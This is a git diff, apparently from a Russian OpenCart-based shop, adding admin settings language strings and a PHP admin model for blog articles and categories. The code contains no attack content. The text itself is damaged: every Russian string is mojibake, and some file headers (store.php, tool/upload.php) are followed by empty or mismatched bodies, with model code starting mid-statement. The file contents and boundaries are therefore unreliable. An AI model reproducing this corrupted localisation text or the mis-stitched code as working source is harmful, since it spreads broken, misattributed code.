+$_['help_file_max_size'] = 'МакÑимальный размер изображениÑ, который может быть загружен через менеджер изображений. Указывать в байтах.';
+$_['help_file_ext_allowed'] = 'Добавьте раÑширение файла, которое может быть загружено. Каждое значение на новой Ñтроке.';
+$_['help_file_mime_allowed'] = 'Добавьте MIME-типы файлов, разрешенные Ð´Ð»Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸. Каждый тип на новой Ñтроке.';
+$_['help_maintenance'] = 'Отключает отображение магазина покупателÑм. Им будет отображатьÑÑ Ñообщение об обÑлуживании. ПоÑле авторизации админом, магазин будет полноценно отображатьÑÑ.';
+$_['help_password'] = 'Разрешить функцию ÑброÑа забытого Ð¿Ð°Ñ€Ð¾Ð»Ñ Ð´Ð»Ñ Ð°Ð´Ð¼Ð¸Ð½-пользователей. Ðто будет запрещено автоматичеÑки при обнаружении попытки взлома.';
+$_['help_encryption'] = 'Ключ, который будет иÑпользоватьÑÑ Ð´Ð»Ñ ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐºÐ¾Ð½Ñ„Ð¸Ð´ÐµÐ½Ñ†Ð¸Ð°Ð»ÑŒÐ½Ð¾Ð¹ информации при обработке заказов.';
+$_['help_compression'] = 'GZIP иÑпользуетÑÑ Ð´Ð»Ñ ÑƒÐ²ÐµÐ»Ð¸Ñ‡ÐµÐ½Ð¸Ñ ÑффективноÑти передачи запроÑов. Уровень ÑÐ¶Ð°Ñ‚Ð¸Ñ Ð´Ð¾Ð»Ð¶ÐµÐ½ быть между 0 - 9.';
+$_['help_seo_pro'] = "ЧПУ без дублей";
+$_['help_config_seo_url_include_path'] = "/category/subcategory/product";
+$_['help_seo_url_postfix'] = 'Ðапример .html
(только Ð´Ð»Ñ SeoPro)';
+$_['help_sms_from'] = 'Ðе более 11 Ñимволов, либо номер телефона до 15 цифр';
+$_['help_sms_to'] = 'В международном формате, только цифры 7926xxxxxxx';
+$_['help_sms_copy'] = 'Указывать через запÑтую, в международном формате, без разделителей 7926xxxxxxx';
+$_['help_sms_message'] = 'Можно иÑпользовать теги:
{ID} - Ðомер Заказа
{DATE} - Дата Заказа
{TIME} - Ð’Ñ€ÐµÐ¼Ñ Ð—Ð°ÐºÐ°Ð·Ð°
{SUM} - Сумма Заказа
{FIRST_NAME} - Ð˜Ð¼Ñ ÐŸÐ¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñ
{LAST_NAME} - Ð¤Ð°Ð¼Ð¸Ð»Ð¸Ñ ÐŸÐ¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñ
{PHONE} - Телефон ПокупателÑ';
+$_['help_config_valide_param_flag'] = 'Отключить переадреÑацию Ð´Ð»Ñ Ð¸Ð· разрешенного ÑпиÑка get-параметров';
+$_['help_valide_params'] = 'Каждый Ñ Ð½Ð¾Ð²Ð¾Ð¹ Ñтроки';
+
+// Error
+$_['error_warning'] = 'Внимательно проверьте форму на ошибки!';
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_name'] = 'Ðазвание должно Ñодержать от 3 до 32 Ñимволов!';
+$_['error_owner'] = 'Ð˜Ð¼Ñ Ð²Ð»Ð°Ð´ÐµÐ»ÑŒÑ†Ð° магазина должно Ñодержать от 3 до 64 Ñимволов!';
+$_['error_address'] = 'ÐÐ´Ñ€ÐµÑ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð° должен Ñодержать от 10 до 256 Ñимволов!';
+$_['error_email'] = 'E-Mail Ð°Ð´Ñ€ÐµÑ Ð²Ð²ÐµÐ´ÐµÐ½ неверно!';
+$_['error_telephone'] = 'Ðомер телефона должен Ñодержать от 3 до 32 Ñимволов!';
+$_['error_meta_title'] = 'Мета-тег Title должен Ñодержать от 3 до 32 Ñимволов!';
+$_['error_limit'] = 'Укажите лимиты!';
+$_['error_login_attempts'] = 'КоличеÑтво попыток авторизации должно быть больше 0!';
+$_['error_customer_group_display'] = 'Ð’Ñ‹ должны включить группу покупателей по умолчанию, еÑли ÑобираетеÑÑŒ иÑпользовать Ñту опцию!';
+$_['error_voucher_min'] = 'Укажите минимальную Ñумму подарочного Ñертификата!';
+$_['error_voucher_max'] = 'Укажите макÑимальную Ñумму подарочного Ñертификата!';
+$_['error_processing_status'] = 'Ðеобходимо выбрать Ñ…Ð¾Ñ‚Ñ Ð±Ñ‹ 1 ÑÑ‚Ð°Ñ‚ÑƒÑ Ð¾Ñ„Ð¾Ñ€Ð¼Ð»ÐµÐ½Ð¸Ñ Ð·Ð°ÐºÐ°Ð·Ð°';
+$_['error_complete_status'] = 'Ðеобходимо выбрать Ñ…Ð¾Ñ‚Ñ Ð±Ñ‹ 1 ÑÑ‚Ð°Ñ‚ÑƒÑ Ð´Ð»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð½Ð¾Ð³Ð¾ заказа';
+$_['error_image_thumb'] = 'Ðеобходимо уÑтановить размер большого Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð°!';
+$_['error_image_popup'] = 'Ðеобходимо уÑтановить размер вÑплывающего Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð°!';
+$_['error_image_product'] = 'Ðеобходимо уÑтановить размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð² ÑпиÑке товаров!';
+$_['error_image_category'] = 'Ðеобходимо уÑтановить размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ð¹!';
+$_['error_image_additional'] = 'Ðеобходимо уÑтановить размер дополнительных изображений товаров!';
+$_['error_image_related'] = 'Ðеобходимо уÑтановить размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿Ð¾Ñ…Ð¾Ð¶Ð¸Ñ… товаров!';
+$_['error_image_compare'] = 'Ðеобходимо уÑтановить размер изображений при Ñравнении!';
+$_['error_image_wishlist'] = 'Ðеобходимо уÑтановить размер изображений в закладках!';
+$_['error_image_cart'] = 'Ðеобходимо уÑтановить размер изображений товаров в корзине!';
+$_['error_image_location'] = 'Ðеобходимо уÑтановить размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¼Ð°Ð³Ð°Ð·Ð¸Ð½Ð°!';
+$_['error_ftp_hostname'] = 'Ðеобходимо указать FTP Ñервер!';
+$_['error_ftp_port'] = 'Ðеобходимо указать FTP порт!';
+$_['error_ftp_username'] = 'Ðеобходимо указать FTP логин!';
+$_['error_ftp_password'] = 'Ðеобходимо указать FTP пароль!';
+$_['error_error_filename'] = 'Ðеобходимо ввеÑти Ð¸Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð° журнала ошибок!';
+$_['error_malformed_filename'] = 'Ðеверное Ð¸Ð¼Ñ Ñ„Ð°Ð¹Ð»Ð°!';
+$_['error_encryption'] = 'Ключ ÑˆÐ¸Ñ„Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð¾Ð»Ð¶ÐµÐ½ Ñодержать от 32 до 1024 Ñимволов!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/setting/store.php b/public/admin/language/ru-ru/setting/store.php
new file mode 100644
index 0000000..29e8752
--- /dev/null
+++ b/public/admin/language/ru-ru/setting/store.php
@@ -0,0 +1,128 @@
+
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/tool/upload.php b/public/admin/language/ru-ru/tool/upload.php
new file mode 100644
index 0000000..9a60b4d
--- /dev/null
+++ b/public/admin/language/ru-ru/tool/upload.php
@@ -0,0 +1,24 @@
+db->query("INSERT INTO " . DB_PREFIX . "article SET status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', sort_order = '" . (int)$data['sort_order'] . "', date_added = NOW()");
+
+ $article_id = $this->db->getLastId();
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "article SET image = '" . $this->db->escape($data['image']) . "' WHERE article_id = '" . (int)$article_id . "'");
+ }
+
+ foreach ($data['article_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_description SET article_id = '" . (int)$article_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ if (isset($data['article_store'])) {
+ foreach ($data['article_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_store SET article_id = '" . (int)$article_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ if (isset($data['article_image'])) {
+ foreach ($data['article_image'] as $article_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_image SET article_id = '" . (int)$article_id . "', image = '" . $this->db->escape($article_image['image']) . "', sort_order = '" . (int)$article_image['sort_order'] . "'");
+ }
+ }
+
+ if (isset($data['article_download'])) {
+ foreach ($data['article_download'] as $download_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_download SET article_id = '" . (int)$article_id . "', download_id = '" . (int)$download_id . "'");
+ }
+ }
+
+ if (isset($data['article_category'])) {
+ foreach ($data['article_category'] as $blog_category_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_blog_category SET article_id = '" . (int)$article_id . "', blog_category_id = '" . (int)$blog_category_id . "'");
+ }
+ }
+
+ if (isset($data['main_blog_category_id']) && $data['main_blog_category_id'] > 0) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_blog_category WHERE article_id = '" . (int)$article_id . "' AND blog_category_id = '" . (int)$data['main_blog_category_id'] . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_blog_category SET article_id = '" . (int)$article_id . "', blog_category_id = '" . (int)$data['main_blog_category_id'] . "', main_blog_category = 1");
+ } elseif (isset($data['article_category'][0])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "article_to_blog_category SET main_blog_category = 1 WHERE article_id = '" . (int)$article_id . "' AND blog_category_id = '" . (int)$data['article_category'][0] . "'");
+ }
+
+ if (isset($data['article_related'])) {
+ foreach ($data['article_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related WHERE article_id = '" . (int)$article_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related SET article_id = '" . (int)$article_id . "', related_id = '" . (int)$related_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related WHERE article_id = '" . (int)$related_id . "' AND related_id = '" . (int)$article_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related SET article_id = '" . (int)$related_id . "', related_id = '" . (int)$article_id . "'");
+ }
+ }
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_product WHERE article_id = '" . (int)$article_id . "' AND product_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related_product SET article_id = '" . (int)$article_id . "', product_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ // SEO URL
+ if (isset($data['article_seo_url'])) {
+ foreach ($data['article_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'article_id=" . (int)$article_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ if (isset($data['article_layout'])) {
+ foreach ($data['article_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_layout SET article_id = '" . (int)$article_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+
+ $this->cache->delete('article');
+
+ return $article_id;
+ }
+
+ public function editArticle($article_id, $data) {
+
+ $this->db->query("UPDATE " . DB_PREFIX . "article SET status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', sort_order = '" . (int)$data['sort_order'] . "', date_modified = NOW() WHERE article_id = '" . (int)$article_id . "'");
+
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "article SET image = '" . $this->db->escape($data['image']) . "' WHERE article_id = '" . (int)$article_id . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_description WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($data['article_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_description SET article_id = '" . (int)$article_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_store WHERE article_id = '" . (int)$article_id . "'");
+
+ if (isset($data['article_store'])) {
+ foreach ($data['article_store'] as $store_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_store SET article_id = '" . (int)$article_id . "', store_id = '" . (int)$store_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_image WHERE article_id = '" . (int)$article_id . "'");
+
+ if (isset($data['article_image'])) {
+ foreach ($data['article_image'] as $article_image) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_image SET article_id = '" . (int)$article_id . "', image = '" . $this->db->escape($article_image['image']) . "', sort_order = '" . (int)$article_image['sort_order'] . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_download WHERE article_id = '" . (int)$article_id . "'");
+
+ if (isset($data['article_download'])) {
+ foreach ($data['article_download'] as $download_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_download SET article_id = '" . (int)$article_id . "', download_id = '" . (int)$download_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_blog_category WHERE article_id = '" . (int)$article_id . "'");
+
+ if (isset($data['article_category'])) {
+ foreach ($data['article_category'] as $blog_category_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_blog_category SET article_id = '" . (int)$article_id . "', blog_category_id = '" . (int)$blog_category_id . "'");
+ }
+ }
+
+ if (isset($data['main_blog_category_id']) && $data['main_blog_category_id'] > 0) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_blog_category WHERE article_id = '" . (int)$article_id . "' AND blog_category_id = '" . (int)$data['main_blog_category_id'] . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_blog_category SET article_id = '" . (int)$article_id . "', blog_category_id = '" . (int)$data['main_blog_category_id'] . "', main_blog_category = 1");
+ } elseif (isset($data['article_category'][0])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "article_to_blog_category SET main_blog_category = 1 WHERE article_id = '" . (int)$article_id . "' AND blog_category_id = '" . (int)$data['article_category'][0] . "'");
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related WHERE related_id = '" . (int)$article_id . "'");
+
+ if (isset($data['article_related'])) {
+ foreach ($data['article_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related WHERE article_id = '" . (int)$article_id . "' AND related_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related SET article_id = '" . (int)$article_id . "', related_id = '" . (int)$related_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related WHERE article_id = '" . (int)$related_id . "' AND related_id = '" . (int)$article_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related SET article_id = '" . (int)$related_id . "', related_id = '" . (int)$article_id . "'");
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_product WHERE article_id = '" . (int)$article_id . "'");
+
+ if (isset($data['product_related'])) {
+ foreach ($data['product_related'] as $related_id) {
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_product WHERE article_id = '" . (int)$article_id . "' AND product_id = '" . (int)$related_id . "'");
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_related_product SET article_id = '" . (int)$article_id . "', product_id = '" . (int)$related_id . "'");
+ }
+ }
+
+ // SEO URL
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'article_id=" . (int)$article_id . "'");
+
+ if (isset($data['article_seo_url'])) {
+ foreach ($data['article_seo_url']as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "seo_url SET store_id = '" . (int)$store_id . "', language_id = '" . (int)$language_id . "', query = 'article_id=" . (int)$article_id . "', keyword = '" . $this->db->escape(trim($keyword)) . "'");
+ }
+ }
+ }
+ }
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_layout WHERE article_id = '" . (int)$article_id . "'");
+
+ if (isset($data['article_layout'])) {
+ foreach ($data['article_layout'] as $store_id => $layout_id) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "article_to_layout SET article_id = '" . (int)$article_id . "', store_id = '" . (int)$store_id . "', layout_id = '" . (int)$layout_id . "'");
+ }
+ }
+
+ $this->cache->delete('article');
+
+ if($this->config->get('config_seo_pro')){
+ $this->cache->delete('seopro');
+ }
+
+ }
+
+ public function editArticleStatus($article_id, $status) {
+ $this->db->query("UPDATE " . DB_PREFIX . "article SET status = '" . (int)$status . "', date_modified = NOW() WHERE article_id = '" . (int)$article_id . "'");
+
+ $this->cache->delete('article');
+
+ return $article_id;
+ }
+
+ public function copyArticle($article_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "article p LEFT JOIN " . DB_PREFIX . "article_description pd ON (p.article_id = pd.article_id) WHERE p.article_id = '" . (int)$article_id . "' AND pd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ if ($query->num_rows) {
+ $data = $query->row;
+
+ $data['viewed'] = '0';
+ $data['keyword'] = '';
+ $data['status'] = '0';
+ $data['noindex'] = '0';
+
+ $data['article_description'] = $this->getArticleDescriptions($article_id);
+ $data['article_image'] = $this->getArticleImages($article_id);
+ $data['article_related'] = $this->getArticleRelated($article_id);
+ $data['product_related'] = $this->getProductRelated($article_id);
+ $data['article_category'] = $this->getArticleCategories($article_id);
+ $data['article_download'] = $this->getArticleDownloads($article_id);
+ $data['article_layout'] = $this->getArticleLayouts($article_id);
+ $data['article_store'] = $this->getArticleStores($article_id);
+
+ $this->addArticle($data);
+ }
+ }
+
+ public function deleteArticle($article_id) {
+
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_description WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_image WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related WHERE related_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_related_product WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_blog_category WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_download WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_layout WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "article_to_store WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "review_article WHERE article_id = '" . (int)$article_id . "'");
+ $this->db->query("DELETE FROM " . DB_PREFIX . "seo_url WHERE query = 'article_id=" . (int)$article_id . "'");
+
+ $this->cache->delete('article');
+
+ }
+
+ public function getArticle($article_id) {
+ $query = $this->db->query("SELECT DISTINCT * FROM " . DB_PREFIX . "article p LEFT JOIN " . DB_PREFIX . "article_description pd ON (p.article_id = pd.article_id) WHERE p.article_id = '" . (int)$article_id . "' AND pd.language_id = '" . (int)$this->config->get('config_language_id') . "'");
+
+ return $query->row;
+ }
+
+ public function getArticles($data = array()) {
+ $sql = "SELECT * FROM " . DB_PREFIX . "article p LEFT JOIN " . DB_PREFIX . "article_description pd ON (p.article_id = pd.article_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND pd.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && !is_null($data['filter_status'])) {
+ $sql .= " AND p.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (isset($data['filter_noindex']) && !is_null($data['filter_noindex'])) {
+ $sql .= " AND p.noindex = '" . (int)$data['filter_noindex'] . "'";
+ }
+
+ $sql .= " GROUP BY p.article_id";
+
+ $sort_data = array(
+ 'pd.name',
+ 'p.status',
+ 'p.noindex',
+ 'p.sort_order'
+ );
+
+ if (isset($data['sort']) && in_array($data['sort'], $sort_data)) {
+ $sql .= " ORDER BY " . $data['sort'];
+ } else {
+ $sql .= " ORDER BY pd.name";
+ }
+
+ if (isset($data['order']) && ($data['order'] == 'DESC')) {
+ $sql .= " DESC";
+ } else {
+ $sql .= " ASC";
+ }
+
+ if (isset($data['start']) || isset($data['limit'])) {
+ if ($data['start'] < 0) {
+ $data['start'] = 0;
+ }
+
+ if ($data['limit'] < 1) {
+ $data['limit'] = 20;
+ }
+
+ $sql .= " LIMIT " . (int)$data['start'] . "," . (int)$data['limit'];
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->rows;
+ }
+
+ public function getArticlesByCategoryId($blog_category_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article p LEFT JOIN " . DB_PREFIX . "article_description pd ON (p.article_id = pd.article_id) LEFT JOIN " . DB_PREFIX . "article_to_blog_category p2c ON (p.article_id = p2c.article_id) WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "' AND p2c.blog_category_id = '" . (int)$blog_category_id . "' ORDER BY pd.name ASC");
+
+ return $query->rows;
+ }
+
+ public function getArticleDescriptions($article_id) {
+ $article_description_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_description WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_description_data[$result['language_id']] = array(
+ 'name' => $result['name'],
+ 'description' => $result['description'],
+ 'meta_title' => $result['meta_title'],
+ 'meta_h1' => $result['meta_h1'],
+ 'meta_description' => $result['meta_description'],
+ 'meta_keyword' => $result['meta_keyword']
+ );
+ }
+
+ return $article_description_data;
+ }
+
+ public function getArticleCategories($article_id) {
+ $article_category_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_to_blog_category WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_category_data[] = $result['blog_category_id'];
+ }
+
+ return $article_category_data;
+ }
+
+ public function getArticleMainCategoryId($article_id) {
+ $query = $this->db->query("SELECT blog_category_id FROM " . DB_PREFIX . "article_to_blog_category WHERE article_id = '" . (int)$article_id . "' AND main_blog_category = '1' LIMIT 1");
+
+ return ($query->num_rows ? (int)$query->row['blog_category_id'] : 0);
+ }
+
+ public function getArticleImages($article_id) {
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_image WHERE article_id = '" . (int)$article_id . "' ORDER BY sort_order ASC");
+
+ return $query->rows;
+ }
+
+ public function getArticleDownloads($article_id) {
+ $article_download_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_to_download WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_download_data[] = $result['download_id'];
+ }
+
+ return $article_download_data;
+ }
+
+ public function getArticleStores($article_id) {
+ $article_store_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_to_store WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_store_data[] = $result['store_id'];
+ }
+
+ return $article_store_data;
+ }
+
+ public function getArticleSeoUrls($article_id) {
+ $article_seo_url_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "seo_url WHERE query = 'article_id=" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_seo_url_data[$result['store_id']][$result['language_id']] = $result['keyword'];
+ }
+
+ return $article_seo_url_data;
+ }
+
+ public function getArticleLayouts($article_id) {
+ $article_layout_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_to_layout WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_layout_data[$result['store_id']] = $result['layout_id'];
+ }
+
+ return $article_layout_data;
+ }
+
+ public function getArticleRelated($article_id) {
+ $article_related_data = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_related WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_related_data[] = $result['related_id'];
+ }
+
+ return $article_related_data;
+ }
+
+ public function getProductRelated($article_id) {
+ $article_related_product = array();
+
+ $query = $this->db->query("SELECT * FROM " . DB_PREFIX . "article_related_product WHERE article_id = '" . (int)$article_id . "'");
+
+ foreach ($query->rows as $result) {
+ $article_related_product[] = $result['product_id'];
+ }
+
+ return $article_related_product;
+ }
+
+ public function getTotalArticles($data = array()) {
+ $sql = "SELECT COUNT(DISTINCT p.article_id) AS total FROM " . DB_PREFIX . "article p LEFT JOIN " . DB_PREFIX . "article_description pd ON (p.article_id = pd.article_id)";
+
+ $sql .= " WHERE pd.language_id = '" . (int)$this->config->get('config_language_id') . "'";
+
+ if (!empty($data['filter_name'])) {
+ $sql .= " AND pd.name LIKE '" . $this->db->escape($data['filter_name']) . "%'";
+ }
+
+ if (isset($data['filter_status']) && !is_null($data['filter_status'])) {
+ $sql .= " AND p.status = '" . (int)$data['filter_status'] . "'";
+ }
+
+ if (isset($data['filter_noindex']) && $data['filter_noindex'] !== null) {
+ $sql .= " AND p.noindex = '" . (int)$data['filter_noindex'] . "'";
+ }
+
+ $query = $this->db->query($sql);
+
+ return $query->row['total'];
+ }
+
+ public function getTotalArticlesByDownloadId($download_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "article_to_download WHERE download_id = '" . (int)$download_id . "'");
+
+ return $query->row['total'];
+ }
+
+ public function getTotalArticlesByLayoutId($layout_id) {
+ $query = $this->db->query("SELECT COUNT(*) AS total FROM " . DB_PREFIX . "article_to_layout WHERE layout_id = '" . (int)$layout_id . "'");
+
+ return $query->row['total'];
+ }
+}
diff --git a/public/admin/model/blog/category.php b/public/admin/model/blog/category.php
new file mode 100644
index 0000000..9c1ef55
--- /dev/null
+++ b/public/admin/model/blog/category.php
@@ -0,0 +1,273 @@
+db->query("INSERT INTO " . DB_PREFIX . "blog_category SET parent_id = '" . (int)$data['parent_id'] . "', `top` = '" . (isset($data['top']) ? (int)$data['top'] : 0) . "', sort_order = '" . (int)$data['sort_order'] . "', status = '" . (int)$data['status'] . "', noindex = '" . (int)$data['noindex'] . "', date_modified = NOW(), date_added = NOW()");
+ $blog_category_id = $this->db->getLastId();
+ if (isset($data['image'])) {
+ $this->db->query("UPDATE " . DB_PREFIX . "blog_category SET image = '" . $this->db->escape($data['image']) . "' WHERE blog_category_id = '" . (int)$blog_category_id . "'");
+ }
+ foreach ($data['category_description'] as $language_id => $value) {
+ $this->db->query("INSERT INTO " . DB_PREFIX . "blog_category_description SET blog_category_id = '" . (int)$blog_category_id . "', language_id = '" . (int)$language_id . "', name = '" . $this->db->escape($value['name']) . "', description = '" . $this->db->escape($value['description']) . "', meta_title = '" . $this->db->escape($value['meta_title']) . "', meta_h1 = '" . $this->db->escape($value['meta_h1']) . "', meta_description = '" . $this->db->escape($value['meta_description']) . "', meta_keyword = '" . $this->db->escape($value['meta_keyword']) . "'");
+ }
+ // MySQL Hierarchical Data Closure Table Pattern
+ $level = 0;
+ $query = $this->db->query("SELECT * FROM `" . DB_PREFIX . "blog_category_path` WHERE blog_category_id = '" . (int)$data['parent_id'] . "' ORDER BY `level` ASC");
+ foreach ($query->rows as $result) {
+ $this->db->query("INSERT INTO `" . DB_PREFIX . "blog_category_path` SET `blog_category_id` = '" . (int)$blog_category_id . "', `path_id` = '" . (int)$result['path_id'] . "', `level` = '" . (int)$level . "'");
